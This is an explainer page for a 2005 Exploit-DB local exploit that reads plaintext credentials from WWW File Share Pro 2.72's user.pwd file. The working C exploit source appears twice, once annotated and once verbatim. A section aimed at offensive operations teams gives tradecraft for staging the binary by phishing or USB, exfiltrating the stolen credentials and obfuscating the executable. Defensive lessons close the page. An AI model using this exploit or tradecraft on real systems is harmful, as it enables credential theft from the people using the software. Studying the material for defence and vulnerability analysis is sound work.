WWW File Share Pro 2.72 Local Password Disclosure Explained

WWW File Share Pro 2.72 Local Password Disclosure Explained
What this paper is
This paper, published in 2005 by Kozan, details a local vulnerability in WWW File Share Pro version 2.72. The vulnerability allows a local user to read sensitive information, specifically usernames and passwords, stored in a configuration file. The exploit code provided demonstrates how to extract this information.
Simple technical breakdown
WWW File Share Pro, a web server application, stores user credentials in a file named user.pwd. This file is not properly protected and can be accessed by any local user. The exploit works by:
- Locating the application's installation directory: It queries the Windows Registry to find the
ProgramFilesDir. - Constructing the path to the password file: It appends the application's relative path (
\WWW File Share Pro\user.pwd) to the program files directory. - Parsing the password file: It reads the
user.pwdfile, looking for specific patterns to extract usernames and their corresponding passwords. The file format appears to be comma-separated values.
Complete code and payload walkthrough
The provided C code is a Windows executable designed to exploit the local password disclosure vulnerability.
/*****************************************************************
WWW File Share Pro 2.72 Local Exploit by Kozan
Application: WWW File Share Pro 2.72
Vendor:LionMax Software
http://www.lionmax.com/
Vulnerable Description: WWW File Share Pro 2.72 discloses passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com
*****************************************************************/
#include <windows.h> // Provides Windows API functions
#include <stdio.h> // Standard Input/Output functions (like printf, fopen)
#include <string.h> // String manipulation functions (like strlen, strcat)
#define BUFSIZE 100 // Defines a buffer size for strings
HKEY hKey; // Handle for a registry key
char prgfiles[BUFSIZE]; // Buffer to store the Program Files directory path
DWORD dwBufLen=BUFSIZE; // Length of the buffer for registry query
LONG lRet; // Return value for registry operations
char *username, *password; // Pointers to store extracted username and password
// Function to find the offset of a string within a file
int adresal(char *FilePath,char *Str)
{
char kr; // Character read from file
int Sayac=0; // Counter for characters read
int Offset=-1; // Offset of the found string, initialized to -1 (not found)
FILE *di; // File pointer
di=fopen(FilePath,"rb"); // Open the file in binary read mode
if( di == NULL ) // If file opening failed
{
fclose(di); // Close the file (though it's NULL, good practice)
return -1; // Return -1 indicating failure
}
while(!feof(di)) // Loop until the end of the file is reached
{
Sayac++; // Increment character counter
for(int i=0;i<strlen(Str);i++) // Loop through each character of the search string
{
kr=getc(di); // Read a character from the file
if(kr != Str[i]) // If the character read does not match the current character of the search string
{
if( i>0 ) // If we had matched some characters before mismatch
{
fseek(di,Sayac+1,SEEK_SET); // Seek back to the position after the mismatch to restart the search from the next character
}
break; // Break the inner loop (character comparison) and continue reading from the file
}
if( i > ( strlen(Str)-2 ) ) // If we have matched all but the last character of the search string
{
Offset = ftell(di)-strlen(Str); // Calculate the offset: current file position minus the length of the search string gives the start of the match
fclose(di); // Close the file
return Offset; // Return the found offset
}
}
}
fclose(di); // Close the file if the string was not found
return -1; // Return -1 indicating the string was not found
}
// Function to read a string from a file until a comma is encountered
char *oku(char *FilePath)
{
FILE *di; // File pointer
char cr; // Character read from file
int i=0; // Index for the buffer
char Feature[500]; // Buffer to store the read string
if( (di=fopen(FilePath,"rb")) == NULL ) // If file opening failed
return ""; // Return an empty string
fseek(di,0,SEEK_SET); // Seek to the beginning of the file
while(!feof(di)) // Loop until the end of the file
{
cr=getc(di); // Read a character
if(cr == ',') break; // If a comma is encountered, stop reading
Feature[i] = cr; // Store the character in the buffer
i++; // Increment buffer index
}
Feature[i] = '\0'; // Null-terminate the string
fclose(di); // Close the file
return Feature; // Return the read string
}
// Function to read a string from a file after a specific string and until a comma
char *oku2(char *FilePath,char *Str)
{
FILE *di; // File pointer
char cr; // Character read from file
int i=0; // Index for the buffer
char Feature[500]; // Buffer to store the read string
int Offset = adresal(FilePath,Str); // Find the offset of the search string
if( Offset == -1 ) // If the search string was not found
return ""; // Return an empty string
if( (di=fopen(FilePath,"rb")) == NULL ) // If file opening failed
return ""; // Return an empty string
fseek(di,Offset+strlen(Str),SEEK_SET); // Seek to the position immediately after the search string
while(!feof(di)) // Loop until the end of the file
{
cr=getc(di); // Read a character
if(cr == ',') break; // If a comma is encountered, stop reading
Feature[i] = cr; // Store the character in the buffer
i++; // Increment buffer index
}
Feature[i] = '\0'; // Null-terminate the string
fclose(di); // Close the file
return Feature; // Return the read string
}
int main(void) // Main function where execution begins
{
// Attempt to open the registry key for Windows CurrentVersion
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", // Key path
0, // Reserved
KEY_QUERY_VALUE, // Access rights: query values
&hKey) == ERROR_SUCCESS) // If opening the key was successful
{
// Query the value of "ProgramFilesDir"
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen); // Buffer to store the value, and its size
// Check if the query was successful and the buffer was large enough
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey); // Close the registry key
printf("An error occured!\n"); // Print an error message
return 0; // Exit the program
}
RegCloseKey(hKey); // Close the registry key
}
else // If opening the registry key failed
{
RegCloseKey(hKey); // Close the registry key (though it might be NULL)
printf("An error occured!\n"); // Print an error message
return 0; // Exit the program
}
// Construct the full path to the user.pwd file
strcat(prgfiles,"\\WWW File Share Pro\\user.pwd");
// Print exploit information
printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");
printf("This exploit only shows the first record.\n"); // Inform the user about the limitation
printf("You may improve it freely...\n\n");
// Use a try-catch block for exception handling (though C++ style exceptions are not standard in C)
try
{
// Read the first username from the user.pwd file
username = oku(prgfiles);
printf("Username1: %s\n",username);
// Prepare a string to search for the password: username followed by a comma (0x2C)
char password1_temp[BUFSIZE];
wsprintf(password1_temp,"%s%c",username,0x2C); // Format the string
// Read the password associated with the first username
password=oku2(prgfiles,password1_temp);
printf("Password1: %s\n",password);
}catch(...){ printf("An error occured!\n"); return 0; } // Catch any exceptions and print an error
return 0; // Indicate successful execution
}
// milw0rm.com [2005-02-23]Code Fragment/Block -> Practical Purpose Mapping:
/****************...*****************/: Header Comments: Provides metadata about the exploit, including author, application, vendor, vulnerability description, and contact information.#include <windows.h>: Windows API Inclusion: Imports necessary functions for interacting with the Windows operating system, such as registry operations (RegOpenKeyEx,RegQueryValueEx,RegCloseKey) and string formatting (wsprintf).#include <stdio.h>: Standard I/O Inclusion: Imports functions for standard input and output, primarilyprintffor displaying messages andfopen/fclosefor file operations.#include <string.h>: String Manipulation Inclusion: Imports functions for working with strings, such asstrlen(string length) andstrcat(string concatenation).#define BUFSIZE 100: Buffer Size Definition: Defines a constant for the maximum size of character buffers used to store strings, preventing buffer overflows within the defined limits.HKEY hKey;: Registry Key Handle: A variable to hold a handle to an open Windows registry key.char prgfiles[BUFSIZE];: Program Files Directory Buffer: A character array to store the path to the system's Program Files directory.DWORD dwBufLen=BUFSIZE;: Buffer Length Variable: A variable to store the size of theprgfilesbuffer, used when querying registry values.LONG lRet;: Registry Operation Return Code: A variable to store the success or failure code returned by Windows registry functions.char *username, *password;: Pointer Declarations: Pointers to character arrays that will hold the extracted username and password strings.int adresal(char *FilePath,char *Str): String Search Function:- Purpose: To find the starting byte offset of a specific string (
Str) within a given file (FilePath). - Inputs:
FilePath(path to the file),Str(the string to search for). - Behavior: Opens the file in binary read mode, reads it character by character, and compares sequences of characters against
Str. If a partial match occurs, it adjusts the file pointer to continue the search efficiently. If a full match is found, it calculates the starting offset. - Output: The byte offset of the found string, or
-1if not found or an error occurs.
- Purpose: To find the starting byte offset of a specific string (
char *oku(char *FilePath): First Field Reader Function:- Purpose: To read the first "field" from a file, where fields are delimited by commas. This is used to extract the username.
- Inputs:
FilePath(path to the file). - Behavior: Opens the file, reads characters sequentially from the beginning until a comma (
,) is encountered or the end of the file is reached. - Output: A null-terminated string containing the characters read before the first comma, or an empty string if the file cannot be opened or no characters are read before a comma.
char *oku2(char *FilePath,char *Str): Second Field Reader Function:- Purpose: To read the "field" that immediately follows a specific string (
Str) in a file, up to the next comma. This is used to extract the password after finding the username. - Inputs:
FilePath(path to the file),Str(the string to search for, which precedes the desired field). - Behavior: First, it uses
adresalto find the offset ofStr. If found, it opens the file again and seeks to the position afterStr. Then, it reads characters until a comma (,) is encountered or the end of the file is reached. - Output: A null-terminated string containing the characters read after
Strand before the next comma, or an empty string ifStris not found or an error occurs.
- Purpose: To read the "field" that immediately follows a specific string (
int main(void): Main Execution Function:- Purpose: Orchestrates the exploit by querying the registry, constructing the file path, and calling the reading functions to extract credentials.
- Inputs: None.
- Behavior:
- Opens the Windows registry key
SOFTWARE\Microsoft\Windows\CurrentVersion. - Queries the
ProgramFilesDirvalue to get the installation path of programs. - Constructs the full path to
WWW File Share Pro\user.pwd. - Prints introductory messages.
- Calls
okuto read the first username fromuser.pwd. - Constructs a search string for
oku2by appending a comma to the username. - Calls
oku2with theuser.pwdpath and the constructed search string to read the corresponding password. - Prints the extracted username and password.
- Includes a
try-catchblock, which is non-standard C but likely intended for basic error handling.
- Opens the Windows registry key
- Output: Prints the extracted username and password to the console, or error messages if operations fail.
strcat(prgfiles,"\\WWW File Share Pro\\user.pwd");: File Path Construction: Appends the application's relative path to theuser.pwdfile to theprgfilesbuffer.printf(...): Output Messages: Displays information to the user, including exploit details, credits, and the extracted credentials.wsprintf(password1_temp,"%s%c",username,0x2C);: String Formatting: Creates a temporary stringpassword1_tempby concatenating theusernamewith a comma character (ASCII0x2C). This is used as the search string foroku2.try { ... } catch(...) { ... }: Exception Handling (Conceptual): In C++, this would catch runtime errors. In this C code, it's likely a placeholder or a misunderstanding of C's error handling. Standard C would use return codes andifchecks.
Payload/Shellcode Segment Explanation:
This exploit does not contain traditional shellcode or a binary payload in the sense of remote code execution. The "payload" here is the C source code itself, which, when compiled into an executable, performs the following actions:
- Information Gathering (Registry Query): The program interacts with the Windows Registry to dynamically determine the installation path of WWW File Share Pro. This is a crucial step for portability across different systems where the application might be installed in non-default locations.
- File Path Construction: It builds the full path to the
user.pwdfile based on the gathered Program Files directory. - File Parsing (Credential Extraction): The core "payload" logic resides in the
okuandoku2functions. These functions read theuser.pwdfile and parse it based on a comma delimiter.okureads the first string before a comma, assumed to be the username.oku2reads the string after a specific prefix (username + comma) and before the next comma, assumed to be the password.
- Output: The extracted username and password are printed to the standard output (the console).
The exploit's "payload" is purely informational, revealing credentials without executing arbitrary code on the target system.
Practical details for offensive operations teams
- Required Access Level: Local Administrator or any user with read access to the
user.pwdfile. The exploit targets local file system access. - Lab Preconditions:
- A Windows machine with WWW File Share Pro version 2.72 installed.
- The
user.pwdfile must exist and contain at least one user entry. - The
user.pwdfile must be readable by the user executing the exploit. - The exploit executable needs to be present on the target system.
- Tooling Assumptions:
- A C compiler (e.g., MinGW, Visual Studio) to compile the provided source code into an executable.
- Standard Windows command-line utilities for file transfer and execution.
- Execution Pitfalls:
- Application Version: The exploit is specific to WWW File Share Pro 2.72. Newer versions or different applications will not be vulnerable.
- File Permissions: If the
user.pwdfile has restrictive permissions, the exploit will fail. - Registry Key Absence/Modification: If the
SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDirregistry value is missing or altered, the exploit will fail to locate the application. - File Format Changes: If the
user.pwdfile format changes in a way that deviates from the expected "username,password," structure, the parsing logic will break. - Antivirus/Endpoint Detection: While old, AV might flag the executable as suspicious due to its file access and registry querying behavior.
- Error Handling: The
try-catchblock is not standard C and might not provide robust error handling. Failures might manifest as crashes or unexpected behavior.
- Tradecraft Considerations:
- Staging: The compiled executable needs to be delivered to the target. This could be via phishing, USB, or other initial access vectors.
- Execution: The executable must be run by a local user.
- Data Exfiltration: The output (username/password) needs to be captured and exfiltrated. This could be done by redirecting
stdoutto a file, or by modifying the exploit to write to a network-accessible location or send data over the network (which would require significant modification). - Stealth: Running a compiled executable can be noisy. Consider techniques to obfuscate the executable or run it in memory if possible (though this exploit is designed as a standalone executable).
Where this was used and when
- Context: This exploit targets a specific vulnerability in a web file-sharing application. Its primary use case would be by an attacker with initial local access to a system running WWW File Share Pro 2.72 to escalate their privileges or gain further insight into user accounts and their credentials.
- Approximate Years/Dates: The paper was published on February 23, 2005. Therefore, this vulnerability and exploit were relevant around 2005. It's unlikely to be effective against modern systems unless an extremely old and unpatched version of the application is still in use.
Defensive lessons for modern teams
- Secure Configuration Management: Ensure that sensitive configuration files (like password stores) are protected with appropriate file system permissions. Only authorized service accounts or administrators should have read access.
- Regular Patching and Updates: Keep all installed applications, especially those handling user credentials or network services, up-to-date with the latest security patches. This vulnerability was patched by updating the application.
- Least Privilege Principle: Users should operate with the minimum privileges necessary. A standard user account should not be able to read sensitive configuration files of installed applications.
- Application Hardening: Developers should avoid storing plaintext passwords in configuration files. Employ secure hashing mechanisms (like bcrypt, scrypt, or Argon2) for password storage.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious file access patterns (e.g., reading sensitive configuration files by unexpected processes) and registry queries.
- Vulnerability Scanning: Regularly scan systems for known vulnerabilities in installed software.
ASCII visual (if applicable)
This exploit's flow is linear and file-based, making a complex ASCII diagram unnecessary. The core interaction is between the exploit executable and the file system/registry.
+-------------------+ +-------------------+ +-----------------+
| Exploit Executable|----->| Windows Registry |----->| Program Files |
| (Compiled C Code) | | (HKEY_LOCAL_MACHINE| | Directory |
+-------------------+ | \CurrentVersion) | +-----------------+
| +-------------------+ |
| |
| v
| +-----------------+
| | WWW File Share |
| | Pro\user.pwd |
| +-----------------+
| |
| v
+----------------------------------------------------->| Read & Parse |
+-----------------+
|
v
+-----------------+
| Output to |
| Console |
| (Username/Pass) |
+-----------------+Source references
- Paper ID: 836
- Paper Title: WWW File Share Pro 2.72 - Local Password Disclosure
- Author: Kozan
- Published: 2005-02-23
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/836
- Raw Exploit URL: https://www.exploit-db.com/raw/836
Original Exploit-DB Content (Verbatim)
/*****************************************************************
WWW File Share Pro 2.72 Local Exploit by Kozan
Application: WWW File Share Pro 2.72
Vendor:LionMax Software
http://www.lionmax.com/
Vulnerable Description: WWW File Share Pro 2.72 discloses passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com
*****************************************************************/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
char *username, *password;
int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");
if( di == NULL )
{
fclose(di);
return -1;
}
while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}
char *oku(char *FilePath)
{
FILE *di;
char cr;
int i=0;
char Feature[500];
if( (di=fopen(FilePath,"rb")) == NULL )
return "";
fseek(di,0,SEEK_SET);
while(!feof(di))
{
cr=getc(di);
if(cr == ',') break;
Feature[i] = cr;
i++;
}
Feature[i] = '\0';
fclose(di);
return Feature;
}
char *oku2(char *FilePath,char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];
int Offset = adresal(FilePath,Str);
if( Offset == -1 )
return "";
if( (di=fopen(FilePath,"rb")) == NULL )
return "";
fseek(di,Offset+strlen(Str),SEEK_SET);
while(!feof(di))
{
cr=getc(di);
if(cr == ',') break;
Feature[i] = cr;
i++;
}
Feature[i] = '\0';
fclose(di);
return Feature;
}
int main(void)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}
RegCloseKey(hKey);
}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}
strcat(prgfiles,"\\WWW File Share Pro\\user.pwd");
printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");
printf("This exploit only shows the first record.\n");
printf("You may improve it freely...\n\n");
try
{
username = oku(prgfiles);
printf("Username1: %s\n",username);
char password1_temp[BUFSIZE];
wsprintf(password1_temp,"%s%c",username,0x2C);
password=oku2(prgfiles,password1_temp);
printf("Password1: %s\n",password);
}catch(...){ printf("An error occured!\n"); return 0; }
return 0;
}
// milw0rm.com [2005-02-23]